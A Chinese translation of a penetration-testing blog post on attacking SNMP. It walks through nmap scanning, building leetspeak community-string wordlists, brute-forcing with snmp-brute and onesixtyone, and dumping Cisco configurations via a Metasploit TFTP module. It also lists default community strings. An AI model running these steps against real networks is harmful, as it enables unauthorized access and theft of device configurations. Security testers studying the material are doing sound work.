`

[译]snmp使用

 
阅读更多
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/05/31/invasion-of-the-network-snatchers-part-i
个人认为本文精彩的地方在于如何制作暴力破解的字典

在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output

nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt

接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
$ cat << EOF > basewords.txt
companyname
CompanyName
company
Company
productname
ProductName
Admin
admin
Secret
secret
EOF
$ cat << EOF > suffixes.txt
read
Read
write
Write
readonly
ReadOnly
public
Public
private
Private
rw
RW
ro
RO
EOF

现在我们通过基本词组和后缀创建一个组合词组
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt

$ head -n 5 combo-clean.txt
companynameread
companyname-read
companynameRead
companyname-Read
companynamewrite

管理元通常使用l337sp34k(https://en.wikipedia.org/wiki/Leet)来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic(http://contest-2010.korelogic.com/rules.html)上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
$ wget 'http://contest-2010.korelogic.corules.txt'
$ cat rules.txt >> /etc/john/john.conf

然后给我们的字符团进行规则处理
$ john --wordlist:combo-clean.txt --rules:KoreLogicRulesL33t --stdout > combo-l33t.txt

同时我们也需要下载一个默认的口令列表(https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt)。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE '.{21,}' > completeguesses.txt

现在使用nmap的snmp-brute模块进行破解
$ nmap -sU 1.2.3.4 --script snmp-brute --script-args snmp-brute.communitiesdb=completeguesses.txt
Nmap scan report for 1.2.3.4
PORT STATE SERVICE
161/udp open snmp
| snmp-brute:
|_ [color=red]C0mpanyNam3-RW - Valid credentials[/color]


我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
$ snmpwalk -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1 > ciscosnmpdump.txt

我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
$ snmpget -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1.2.1.1.1
Cisco Internetwork Operating System Software IOS (tm) 2500...


我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp)> set LHOST 1.1.1.1
msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/
msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt
msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW
msf auxiliary(cisco_config_tftp)> run

然后我们可以在/tmp/文件夹下获得很多配置文件。

注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解
root@kali:~# onesixtyone -h
onesixtyone: invalid option -- 'h'
onesixtyone 0.3.2 [options] <host> <community>
  -c <communityfile> file with community names to try
  -i <inputfile>     file with target hosts
  -o <outputfile>    output log
  -d                 debug mode, use twice for more information

  -w n               wait n milliseconds (1/1000 of a second) between sending packets (default 10)
  -q                 quiet mode, do not print log to stdout, use with -l
examples: ./s -c dict.txt 192.168.4.1 public
          ./s -c dict.txt -i hosts -o my.log -w 100

3. windows中可以使用SNScan
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
4. snmp默认口令:https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
分享到:
评论

相关推荐

    net-snmp使用说明

    net-snmp 使用说明 Net-SNMP 是一个功能强大且广泛使用的网络管理协议工具,能够帮助管理员对网络设备进行监控和管理。本文将对 Net-SNMP 的使用进行说明,并提供了相关的查询命令和示例。 首先,需要在环境中设置...

    qt-snmp.zip_linux snmp_qt snmp_snmp QT_snmp++_snmp++ qt

    SNMP是一种广泛使用的网络管理协议,它允许管理员监控和管理网络设备,如路由器、交换机、服务器等。QT SNMP库使得开发人员能够在Linux、Windows和Mac等不同操作系统上构建跨平台的SNMP应用。 在描述中提到的"qt-...

    SNMP查看CPU及内存使用率

    ### SNMP查看CPU及内存使用率:深入解析与实践 #### 概述 简单网络管理协议(SNMP,Simple Network Management Protocol)是一种广泛应用于网络管理的标准协议,用于收集和组织网络设备的信息,以及修改该信息以...

    snmp的使用操作手册

    总之,SNMP是一个强大且广泛使用的网络管理工具,理解其原理和操作方法对于网络运维至关重要。通过学习SNMP,你可以更有效地监控网络状态,及时发现并解决问题,提升网络管理效率。阅读"SNMP操作手册"将进一步帮助你...

    SNMPc 安装与使用指南

    ### SNMPc 安装与使用指南详析 #### 一、SNMPc简介与功能概述 SNMPc(Simple Network Management Protocol Center)是一款强大的网络管理工具,它支持SNMP(简单网络管理协议),用于监控和管理网络设备。通过SNMP...

    宏杉科技SNMP使用指导书V1.2.40T04.pdf

    宏杉科技SNMP使用指导书V1.2.40T04.pdf是一份宏杉科技公司关于存储设备中简单网络管理协议(SNMP)的使用手册。SNMP是用于网络设备远程管理的一种协议,它允许网络管理员通过网络设备上的代理收集关于网络设备性能、...

    net-snmp,snmpwalk(windows最新版本)

    该工具是运行于windows平台的exe可执行文件,跟linux平台的snmpwalk功能类似,使用方法:cmd→cd到该exe文件的目录→snmpwalk.exe + option(通过snmpwalk.exe -h可以获得相关参数及运用方法,包括version、...

    使用Java进行SNMP编程-SNMP4J-代码实例

    使用SNMP4J,开发者能够通过编写Java代码来实现对网络设备的操作,比如检索设备信息、修改设备配置、接收告警通知等。 在这份文档中,提到了几个SNMP4J中实现的操作,包括GET、GETNEXT、GETBULK、Walk和SET。 GET...

    windows下编译使用Net-SNMP

    ### Windows 下编译使用 Net-SNMP 的详细指南 #### 一、Net-SNMP简介与下载 Net-SNMP 是一个开源项目,提供了一系列关于 Simple Network Management Protocol (SNMP) 的库和工具。它支持多种操作系统平台,包括 ...

    SnmpWalk.zip_SNMP_snmp WALK_snmpwalk _snmpwalk实现

    SNMP(简单网络管理协议)是一种广泛用于网络设备管理的标准协议,它允许网络管理员远程监控和配置网络设备。`snmpwalk`是SNMP工具箱中的一个重要命令行工具,用于遍历网络设备上的MIB(Management Information Base...

    Paessler SNMP Tester 中文版

    **SNMP(简单网络管理协议)** SNMP(Simple Network Management Protocol)是一种广泛应用于网络设备管理的协议,它允许管理员远程监控和管理网络设备,如路由器、交换机、服务器和其他支持SNMP的设备。SNMP协议...

    snmp.rar_SNMP_linux snmp_linux snmp++_snmp精简

    在Linux系统中,SNMP的使用可以帮助我们有效地管理和监控服务器、路由器、交换机等网络设备。这个“snmp.rar”压缩包可能是包含了一套精简版的SNMP实现,用于在Linux环境下运行。 首先,让我们了解一下SNMP的基本...

    SNMP使用的风险

    ### SNMP使用的风险及应对策略 #### 一、SNMP概览与背景知识 简单网络管理协议(Simple Network Management Protocol,简称SNMP)是一项用于管理网络设备的重要协议,它最初开发于20世纪90年代初,旨在简化网络...

    snmp_SNMP_oid_snmp查内存oid_使用snmp_

    4. **执行查询**:使用SNMP工具,指定目标主机的IP地址、社区字符串以及要查询的OID,发送SNMP GET请求。对于Java环境,可以使用如`snmp4j`这样的库来编写SNMP查询代码。 5. **解析响应**:收到SNMP响应后,解析...

    Java使用SNMP4J实现snmp trap接口发送消息_20170808_LK

    本文将详细讲解如何使用Java的SNMP4J库来实现SNMP Trap接口,发送这些消息。 首先,我们需要了解SNMP4J库。SNMP4J是Java平台上的一个开源SNMP库,它提供了完整的SNMPv1、SNMPv2c和SNMPv3支持。该库不仅包含SNMP协议...

    snmp.zip_SNMP_SNMP set_c++ getnext()_c++ snmp::set_snmp++

    在这个"snmp.zip"压缩包中,可能包含的是使用C++实现SNMP协议的示例代码,特别是关于get、getnext和set操作的实现。 1. SNMP协议基础 SNMP协议主要由三部分组成:管理信息结构(MIB)、管理站(Manager)和代理...

    snmp 使用过的最好的工具

    通过SNMP传感器,PRTG可以监控网络设备的流量、CPU利用率、内存使用情况等。 SolarWinds Network Performance Monitor专为大型网络设计,具有强大的SNMP监控功能。它可以自动发现网络设备,实时监控性能,还提供了...

    snmp4j实现snmp trap 发送与接收

    本文将详细介绍使用 SNMP4J 实现 SNMP Trap 发送与接收的知识点。 SNMPTrap 的定义 SNMP Trap 是一种异步 Notification 消息,用于在网络设备中报告事件或警报信息。Trap 消息可以由网络设备发送到网络管理站点,...

    基于SNMP4J的SNMP操作实现代码

    本文将深入探讨如何使用SNMP4J来实现SNMP的基本操作,包括GET、GETNEXT、SET和TRAP。 1. SNMP协议基础: SNMP协议主要由管理站(Manager)和代理(Agent)两部分组成。管理站负责发送请求并接收响应,而代理则驻留...

Global site tag (gtag.js) - Google Analytics